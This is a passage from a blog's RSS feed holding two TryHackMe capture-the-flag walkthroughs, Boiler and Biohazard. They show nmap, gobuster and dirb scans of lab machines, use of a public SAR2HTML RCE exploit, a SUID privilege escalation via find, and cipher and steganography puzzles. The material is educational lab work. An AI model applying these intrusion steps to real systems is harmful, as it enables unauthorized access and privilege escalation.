src="https://cdn-images-1.medium.com/max/322/1*Yad5d_6wi-qdpgvvBWn1xA.jpeg" /><figcaption>Webmin Login.</figcaption></figure><p>But before that, let’s make a little more enumeration and crawl the server.</p><blockquote>root@ip-10–10–22–172:~# gobuster dir -u http://10.10.73.89 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,tar <br>===============================================================<br>Gobuster v3.0.1<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@_FireFart_)<br>===============================================================<br>[+] Url: http://10.10.73.89<br>[+] Threads: 10<br>[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt<br>[+] Status codes: 200,204,301,302,307,401,403<br>[+] User Agent: gobuster/3.0.1<br>[+] Extensions: php,txt,tar<br>[+] Timeout: 10s<br>===============================================================<br>2020/12/19 12:32:23 Starting gobuster<br>===============================================================<br>/manual (Status: 301)<br>/robots.txt (Status: 200)<br>/joomla (Status: 301)</blockquote><p>Oh, a <strong>robots.txt</strong>! It seems that we might have a little something here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*Qsgd5YoIg-i5d3wdPZeJiw.jpeg" /><figcaption>robots.txt</figcaption></figure><p>It looks like we have a round of decimal and a round of base64, in order to reveal a hash that looks like a MD5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5L6jVpqXe4-3Yb3vTWLiyQ.png" /><figcaption>CyberChef robot.txt decoding.</figcaption></figure><p>However, it seems like we were tricked again!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*QEO4-iKDH-8pIJvP5M77RA.jpeg" /><figcaption>kidding!</figcaption></figure><p>Moving to the<strong> /joomla</strong> directory, I found yet another login page. Let’s crawl once more from that directory onwards. There were a lot of directories that popped up but the ones that I found a little out of ordinary were the followings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*k6USA1txu-YRPj0QAPF0iQ.png" /><figcaption>gobuster joomla enumeration.</figcaption></figure><p>I am not going to go through all of this, but I had some really hard time with the trolling of the creator. After a while, I landed to the <strong>/joomla/_test</strong> page, a <strong>SAR2HTML</strong> page. The first thing that came in my mind was to download the .tar file on the welcome page in case there is something of use and I’ve managed to find its version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*FzgceLbn9cJ-8gg8KP0T0Q.png" /><figcaption>SAR2HTML version.</figcaption></figure><p>After a really quick search on the exploit-db, I found out that this specific version is vulnerable to a pretty easy<strong> </strong><a href="https://www.exploit-db.com/exploits/47204"><strong>RCE vulnerability</strong></a>.<br>Playing around a little bit with the RCE, I found the credentials for a <strong>SSH user</strong>. However, when I’ve tried it out it did not work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zDOb_0rkeht9NA4si3ZwXg.png" /><figcaption>SSH user.</figcaption></figure><p>With all those rabbit holes, I got myself troubled for quite a bit, but then I remembered that there was no SSH port on the Nmap scan performed previously. Could it be running on another port or once more this is a trick?<br>Let’s find out with a second Nmap scan.</p><blockquote>root@ip-10–10–22–172:~# nmap -T4 -A -p- 10.10.73.89</blockquote><blockquote>Starting Nmap 7.60 ( https://nmap.org ) at 2020–12–19 13:28 GMT<br>Warning: 10.10.73.89 giving up on port because retransmission cap hit (6).<br>Nmap scan report for ip-10–10–73–89.eu-west-1.compute.internal (10.10.73.89)<br>Host is up (0.0012s latency).<br>Not shown: 65531 closed ports<br>PORT STATE SERVICE VERSION<br>21/tcp open ftp vsftpd 3.0.3<br>|_ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| ftp-syst: <br>| STAT: <br>| FTP server status:<br>| Connected to ::ffff:10.10.22.172<br>| Logged in as ftp<br>| TYPE: ASCII<br>| No session bandwidth limit<br>| Session timeout in seconds is 300<br>| Control connection is plain text<br>| Data connections will be plain text<br>| At session startup, client count was 5<br>| vsFTPd 3.0.3 — secure, fast, stable<br>|_End of status<br>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>| http-robots.txt: 1 disallowed entry <br>|_/<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>10000/tcp open http MiniServ 1.930 (Webmin httpd)<br>|_http-server-header: MiniServ/1.930<br>|_http-title: Site doesn’t have a title (text/html; Charset=iso-8859–1).<br>55007/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)<br>| 256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)<br>|_ 256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (EdDSA)<br>MAC Address: 02:8D:36:E8:02:47 (Unknown)<br>Device type: general purpose<br>Running: Linux 3.X<br>OS CPE: cpe:/o:linux:linux_kernel:3.13<br>OS details: Linux 3.13<br>Network Distance: 1 hop<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</blockquote><blockquote>TRACEROUTE<br>HOP RTT ADDRESS<br>1 1.21 ms ip-10–10–73–89.eu-west-1.compute.internal (10.10.73.89)</blockquote><blockquote>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 1225.45 seconds</blockquote><p>Bingo! There is a <strong>SSH service </strong>running on <strong>port 55007!</strong> This time we managed to login with the credentials found before and not a long time ago, we get our hands on a <strong>second’s user credentials</strong> through the <strong>backup.sh </strong>file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CkPJ4afcRuJrtIm_VZNjug.png" /><figcaption>User basterd SSH.</figcaption></figure><p>As I could not find anything of interest, I switch on <strong>stoner user</strong>. There, we were welcomed with some more trolling, of course.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*A0skwZqVHdQGVb_rGFZDAA.png" /><figcaption>User stoner SSH.</figcaption></figure><p>Let’s see if we are lucky enough to find some <strong>SUID bits misconfiguration</strong>. For those that want a more detailed description on the topic, there are some excellent resources <a href="https://medium.com/@gbmbalag/linux-privilege-escalation-by-using-suid-19d37821ed12">here</a> and <a href="https://pentestlab.blog/2017/09/25/suid-executables/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*TVNA4f_q6MWBXSpQzA6f1w.png" /><figcaption>Root escalation.</figcaption></figure><p>From the list above, we can see that there is a variety of things that we could try. After a while of searching on <a href="https://gtfobins.github.io/"><strong>GTFOBins</strong></a> and some try and error, <strong>/usr/bin/find</strong> was the one that gave us the key to the root user.</p><h3><strong>Thoughts on the Boiler CTF</strong></h3><p>I can not describe how much I’ve enjoyed this one.<br>I really appreciated the creator’s effort to put some rabbit holes here and there, although they were a little bit annoying sometimes.<br>This is a good lesson to constantly remind ourselves that the key is to keep on enumerating up until we make it.<br>I highly recommend to check Boiler CTF yourselves, you will not be disappointed!</p><p>I hope you enjoyed this walkthrough!<br>Up until next time, stay safe and keep hacking! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25ff8065fefb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Biohazard — TryHackMe Walkthrough.]]></title>
            <link>https://arrowa.medium.com/biohazard-tryhackme-walkthrough-8e6d8b546e61?source=rss-2df976d5d653------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e6d8b546e61</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[resident-evil]]></category>
            <category><![CDATA[hash]]></category>
            <dc:creator><![CDATA[Arrow]]></dc:creator>
            <pubDate>Sat, 12 Dec 2020 20:53:33 GMT</pubDate>
            <atom:updated>2020-12-12T20:53:33.226Z</atom:updated>
            <content:encoded><![CDATA[<h3>Biohazard — TryHackMe Walkthrough.</h3><blockquote>First things first, Biohazard is a CTF room by TryHackMe of medium difficulty. As its tags are giving away, the challenge deals with lots of hashes and steganography, plus a little fan fact, it is based on the Resident Evil game series ( for those that did not already guess that from the avatar of the room).<br> So, let’s put on some Resident Evil OST, welcome ourselves into Raccoon City and jump into solving Biohazard CTF.</blockquote><figure><img alt="Biohazard CTF Room." src="https://cdn-images-1.medium.com/max/579/1*NCrGhCWwFB_wVhO2O9V8JQ.jpeg" /><figcaption>Biohazard CTF Room.</figcaption></figure><p>Let’s get started then!</p><p>As always, we should really do some enumeration first in order to get an idea of what we are dealing with.<br>Fire up Nmap!</p><blockquote><em>root@ip-10–10–83–246:~# nmap -sV -sC 10.10.86.232</em></blockquote><blockquote><em>Starting Nmap 7.60 ( https://nmap.org ) at 2020–12–12 15:56 GMT<br>Nmap scan report for ip-10–10–86–232.eu-west-1.compute.internal (10.10.121.32)<br>Host is up (0.0015s latency).<br>Not shown: 997 closed ports<br>PORT STATE SERVICE VERSION<br>21/tcp open ftp vsftpd 3.0.3<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 c9:03:aa:aa:ea:a9:f1:f4:09:79:c0:47:41:16:f1:9b (RSA)<br>| 256 2e:1d:83:11:65:03:b4:78:e9:6d:94:d1:3b:db:f4:d6 (ECDSA)<br>|_ 256 91:3d:e4:4f:ab:aa:e2:9e:44:af:d3:57:86:70:bc:39 (EdDSA)<br>80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Beginning of the end<br>MAC Address: 02:BB:F9:42:46:C9 (Unknown)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</em></blockquote><blockquote><em>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 12.21 seconds</em></blockquote><p>Well, we have a little something up there, don’t we?<br><strong>FTP, SSH ports are open</strong>, however, there will not be of any use for the time being, as we haven’t figure out just yet any credentials. So let’s move on <strong>port 80</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmTZP9zWqf4tnc0HzMR3hw.jpeg" /><figcaption>Mansion welcome us!</figcaption></figure><p>At first glimpse, it seems that there is not many things we can do on the Main Hall, but a little look with the Developer Tools and we found ourselves a clue.</p><p>In the meanwhile (and because I was too impatient), I’ve triggered a dirb scan against the site but I didn’t get much, apart from the <strong>/attic/</strong> directory.</p><blockquote><em>root@ip-10–10–83–246:~# dirb http://10.10.86.232</em></blockquote><blockquote><em>— — — — — — — — -<br>DIRB v2.22 <br>By The Dark Raver<br> — — — — — — — — -</em></blockquote><blockquote><em>START_TIME: Sat Dec 12 16:17:06 2020<br>URL_BASE:http://10.10.86.232<br>WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt</em></blockquote><blockquote><em>— — — — — — — — -</em></blockquote><blockquote><em>GENERATED WORDS: 4612</em></blockquote><blockquote><em>— — Scanning URL: http://10.10.86.232 — — <br>==&gt; DIRECTORY: http://10.10.86.232/attic/ <br>==&gt; DIRECTORY: http://10.10.86.232/css/ <br>==&gt; DIRECTORY: http://10.10.86.232/images/ <br>+ http://10.10.86.232/index.html (CODE:200|SIZE:692) <br>==&gt; DIRECTORY: http://10.10.86.232/js/ <br>+ http://10.10.86.232/server-status (CODE:403|SIZE:277) <br> <br> — — Entering directory: http://10.10.121.32/attic/ — — <br>+ http://10.10.86.232/attic/index.php (CODE:200|SIZE:592) <br> <br> — — Entering directory: http://10.10.86.232/css/ — — <br>(!) WARNING: Directory IS LISTABLE. No need to scan it. <br> (Use mode ‘-w’ if you want to scan it anyway)<br> <br> — — Entering directory: http://10.10.86.232/images/ — — <br>(!) WARNING: Directory IS LISTABLE. No need to scan it. <br> (Use mode ‘-w’ if you want to scan it anyway)<br> <br> — — Entering directory:http://10.10.86.232/js/ — — <br>(!) WARNING: Directory IS LISTABLE. No need to scan it. <br> (Use mode ‘-w’ if you want to scan it anyway)<br> <br> — — — — — — — — -<br>END_TIME: Sat Dec 12 16:17:12 2020<br>DOWNLOADED: 9224 — FOUND: 3</em></blockquote><p>Visiting <strong>/attic</strong> directory, seems that we are too early here, so we get back to the <strong>/diningRoom</strong> from the Main Hall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aXOJlwzhvK0uo6BnDcuYxg.jpeg" /><figcaption>Dining Room.</figcaption></figure><p>On the dining room, there is some familiar type of hash (<strong> a base64 one</strong>) waiting for us. As soon as we decode it, we are instructed to move on the next room. Also, the YES option, gives us the emblem flag. Our very first flag, not bad, right?<br>Off to the Tea Room, it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*yj-Vt7McFs2ymHxioBc4Zw.jpeg" /><figcaption>Decoding the base64 hash found on dining room.</figcaption></figure><p>On the Tea Room, we do not find much apart from the <strong>lock_pick flag</strong> and the next room, <strong>/artRoom/</strong>. Let’s see what we might find there.</p><p>Et voilà! The mansion map is waiting for us there. From now on, we have quite an investigation to go through.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*2oazbGf6P1l7-aF_R2f8tA.jpeg" /><figcaption>Mansion Map.</figcaption></figure><p>On the<strong> /barRoom</strong> and as soon as we enter the <strong>lock_pick flag</strong>, we can see a piano along with a note. Another hash. This time, it’s<strong> a base32</strong>. After decoding it, we get the <strong>music_sheet flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*MU40MppSWZFsQ2RhUwiXeg.jpeg" /><figcaption>Note on the piano.</figcaption></figure><p>Back to the <strong>/barRoom</strong>, as soon as we enter the music_sheet flag, we get our hands on the <strong>golden_emblem flag</strong>. Moving on to the <strong>/diningRoom2F</strong>.<br>Once again, Developers Tools is a friend of ours and it unveils yet another hash. (Well, I’ve told you we were going to meet a lot of these guys, and we are still on the first stages of the CTF).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ra9y-N_hwnqZAt2VXlwUg.jpeg" /><figcaption>Dining Room 2F.</figcaption></figure><p>After a little research, I figured out that this time we are dealing with a <a href="https://en.wikipedia.org/wiki/ROT13">ROT13</a> encryption, a variant of <a href="https://en.wikipedia.org/wiki/Caesar_cipher">Caesar cipher</a>. The message instructs us that we can get to the blue gem by visiting <strong>/diningRoom/sapphire.html</strong> for revealing the<strong> blue_jewel flag</strong>.<br>Next is the <strong>/tigerStatusRoom</strong>. There, we can place the flag from the previous room to get a looking-like piece of hash, named as <strong>crest 1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*L-vVsotmm0ranZWR-A3Cuw.jpeg" /><figcaption>Tiger Status Room - Crest 1.</figcaption></figure><p>As far as I can tell from the notes, some decoding must be done before putting it together with the rest of the pieces (which I do not possess at the moment). Well, good sirs, I smell some trouble. <br>Back to the rooms, for now. Next is the<strong>/galleryRoom</strong>, on which we will find the <strong>2nd crest</strong>, with similar notes as the 1st one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*lNgnBQYbVGrxswags4TdCg.jpeg" /><figcaption>Gallery Room - Crest 2</figcaption></figure><p>After that I was kind of stuck, as <strong>/studyRoom, /armorRoom</strong> and <strong>/attic</strong> directories are accessible by providing some flags, which I have not found up until now. Checking my notes(it is always a good practice to take some while hacking), I remembered about the <strong>gold_emblem flag</strong> I found earlier. Back to the dining Room and guess what… Yet another hash!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*gDIlbofCgvm-jCPNBfDWEQ.jpeg" /><figcaption>Dining Room - Golden Emblem hash.</figcaption></figure><p>That took me a good amount of time. It was some kind of cipher that I met for the first time named <a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher">Vigenère</a>. After that, it was ease to decode it using this <a href="https://www.boxentriq.com/code-breaking/vigenere-cipher">online tool </a>(and thankfully I did not had to use a key for it).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*-6iHBnYe7ZXsidhWhH2PTQ.jpeg" /><figcaption>Vigenère decrypted message.</figcaption></figure><p>Some attempts later for guessing the correct name of the html page, <strong>/diningRoom/the_great_shield_key.html</strong> rewarded me with the shield flag. Talking about weapons though, it’s time for the<strong> /armorRoom.</strong><br>There, we discover the <strong>third crest</strong> (omg what is all that?).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*5aQRxjUdAMzRsDYVpt6AhQ.jpeg" /><figcaption>Armor Room - Crest 3</figcaption></figure><p>One more room unlocks with the <strong>shield flag</strong>, so let’s check that as well. As expected, <strong>/attic</strong> gave us the last piece of the puzzle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*3pnlrgC0E9XnJV2zbrv3mg.jpeg" /><figcaption>Attic - Crest 4</figcaption></figure><p>Now, the harder part of the challenge, decoding and putting altogether the crests. For the sake of keeping the walkthrough as short as possible, I will just write down the encryption type used for each of crests. For those that want to crack their own way into them, bear in mind the tip about the number of letters and start with the most common types of hashes. You can find the tool that I used for decoding the crests <a href="https://gchq.github.io/CyberChef/">here</a>.</p><blockquote>· Crest 1 →base64 →base32</blockquote><blockquote>· Crest 2 →base32 →base58</blockquote><blockquote>· Crest 3 →base64 →binary →hex</blockquote><blockquote>· Crest 4 →base58 →hex</blockquote><p>Putting the puzzle together, we get a <strong>base64 hash</strong>, that gives us the FTP credentials after decoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*uh6iTRg1LfzrNUpTE5EH1g.jpeg" /><figcaption>FTP credentials.</figcaption></figure><p>Let’s get ourselves to the FTP, then.<br>Long story short, there we find quite a lot of files, so I am going to get them on our local machine in order to examine them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*B98pXe2jzA5NhZx5K4ZVUg.jpeg" /><figcaption>FTP Access.</figcaption></figure><p>After downloading the <strong>important.txt</strong> file, we get one more room added to our list, <strong>/hidden_closet/</strong>.<br>The next file that caught my attention was <strong>helmet_key.txt.gpg</strong>. We expect that this text might contain the <strong>helmet flag</strong> that we are missing, but first we have to get our way into it. The rest of the files seem like jpg files, so quickly I realize that the images could have undergone steganography processing. This is the output of running all of them through <strong>exiftool</strong>.</p><blockquote>root@ip-10–10–83–246:~# for i in $(ls | \grep jpg); do exiftool $i &amp;&amp; echo -e ‘\n — — — — — — — — — — — — — — — — — — — \n’; done<br>ExifTool Version Number : 10.80<br>File Name : 001-key.jpg<br>Directory : .<br>File Size : 7.8 kB<br>File Modification Date/Time : 2020:12:06 15:44:31+00:00<br>File Access Date/Time : 2020:12:06 15:44:31+00:00<br>File Inode Change Date/Time : 2020:12:06 15:44:31+00:00<br>File Permissions : rw-r — r — <br>File Type : JPEG<br>File Type Extension : jpg<br>MIME Type : image/jpeg<br>JFIF Version : 1.01<br>Resolution Unit : None<br>X Resolution : 1<br>Y Resolution : 1<br>Image Width : 400<br>Image Height : 320<br>Encoding Process : Baseline DCT, Huffman coding<br>Bits Per Sample : 8<br>Color Components : 3<br>Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)<br>Image Size : 400x320<br>Megapixels : 0.128</blockquote><blockquote>— — — — — — — — — — — — — — — — — — —</blockquote><blockquote>ExifTool Version Number : 10.80<br>File Name : 002-key.jpg<br>Directory : .<br>File Size : 2.2 kB<br>File Modification Date/Time : 2020:12:06 15:44:32+00:00<br>File Access Date/Time : 2020:12:06 15:44:32+00:00<br>File Inode Change Date/Time : 2020:12:06 15:44:32+00:00<br>File Permissions : rw-r — r — <br>File Type : JPEG<br>File Type Extension : jpg<br>MIME Type : image/jpeg<br>JFIF Version : 1.01<br>Resolution Unit : None<br>X Resolution : 1<br>Y Resolution : 1<br>Comment : 5fYmVfZGVzdHJveV9<br>Image Width : 100<br>Image Height : 80<br>Encoding Process : Progressive DCT, Huffman coding<br>Bits Per Sample : 8<br>Color Components : 3<br>Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)<br>Image Size : 100x80<br>Megapixels : 0.008</blockquote><blockquote>— — — — — — — — — — — — — — — — — — —</blockquote><blockquote>ExifTool Version Number : 10.80<br>File Name : 003-key.jpg<br>Directory : .<br>File Size : 2.1 kB<br>File Modification Date/Time : 2020:12:06 15:45:11+00:00<br>File Access Date/Time : 2020:12:06 15:45:11+00:00<br>File Inode Change Date/Time : 2020:12:06 15:45:11+00:00<br>File Permissions : rw-r — r — <br>File Type : JPEG<br>File Type Extension : jpg<br>MIME Type : image/jpeg<br>JFIF Version : 1.01<br>Resolution Unit : None<br>X Resolution : 1<br>Y Resolution : 1<br>Comment : Compressed by jpeg-recompress<br>Image Width : 100<br>Image Height : 80<br>Encoding Process : Progressive DCT, Huffman coding<br>Bits Per Sample : 8<br>Color Components : 3<br>Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)<br>Image Size : 100x80<br>Megapixels : 0.008</blockquote><blockquote>— — — — — — — — — — — — — — — — — — —</blockquote><p>Images 2 and 3 reveal some comments. It seems that we are dealing with a hash puzzle once again. We will now use <strong>steghide</strong> and <strong>binwalk</strong> tools for image 1 and 3 correspondingly in order to extract the info we want. As I forgot to take a screenshot of the steghide command, I will only display the binwalk command. Apologies for that, but it will not be to hard to figure it out yourselves. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KIIurCJ5hwA9iBG8ql87TA.jpeg" /><figcaption>Binwalk against jpg 3.</figcaption></figure><p>Putting it altogether, we now have a…(yes, you guess it right) new hash. This base64 is giving us the password for the <strong>helmet_key.txt.gpg</strong> file, as it seems to contains the helmet flag. Time to visit the last room of the map.<br>Now we enter the study room, after careful “examination”, we are come across a compressed file called doom.tar.gz. Remember the SSH port we found earlier? Now, we have the SSH user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*nAosKi4Do0LmgMIdDhySmg.jpeg" /><figcaption>SSH username.</figcaption></figure><p>Finally, let’s go to the <strong>/hidden_closet</strong> room. Any guesses what we expect to find here?<br>On the<strong> /hidden_closet</strong>, we get the SSH password as well as another hash (which seems like a Vigenere cipher as well. So my intuition was correct, however no clue what it refers to. Maybe it can be used as an escalation after we ssh on the target).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*zPnEvBR_Wnc4BVVMrqgqMw.jpeg" /><figcaption>SSH password.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*W2lOb5YdFPYcAlCwDSNe2A.jpeg" /><figcaption>Vigenère decrypted message part2.</figcaption></figure><p>As soon as we SSH, we found ourselves to the umbrella_guest’s home directory. There we come across the <strong>~/.jailcell/chris.txt</strong> which contains a message along with the key “<strong>albert</strong>” (I guess it was supposed to serve as a key for decrypting the message above, but after all it was useless).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwTMdcdtzEZIH_VuphmEdA.jpeg" /><figcaption>chris.txt</figcaption></figure><p>By checking the rest of the users on home directory, we suspect that there is indeed a <strong>weasker user</strong>, so let’s use the password from the Vigenere cipher above to switch into it. <br>We switched as weasker successfully and here’s is the end of the CTF as both <strong>~/.bash_history</strong> and <strong>sudo -l</strong> guarantee that we can now elevate as root without any struggle and get the final flag.<br>Congrats! We are root now and we gain ourselves a new badge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C6dyhOuYK9j6f0eiX-JMyA.jpeg" /><figcaption>weasker to root.</figcaption></figure><p>I hope you enjoyed this walkthrough, as much as I enjoyed completing and writing up about this challenge.<br>Thank you for your time, until next time! ;)<br>Stay safe and keep hacking!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/175/1*z1GCGOJ5y1MD56KcallGpA.png" /><figcaption>Biohazard Badge.</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e6d8b546e61" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>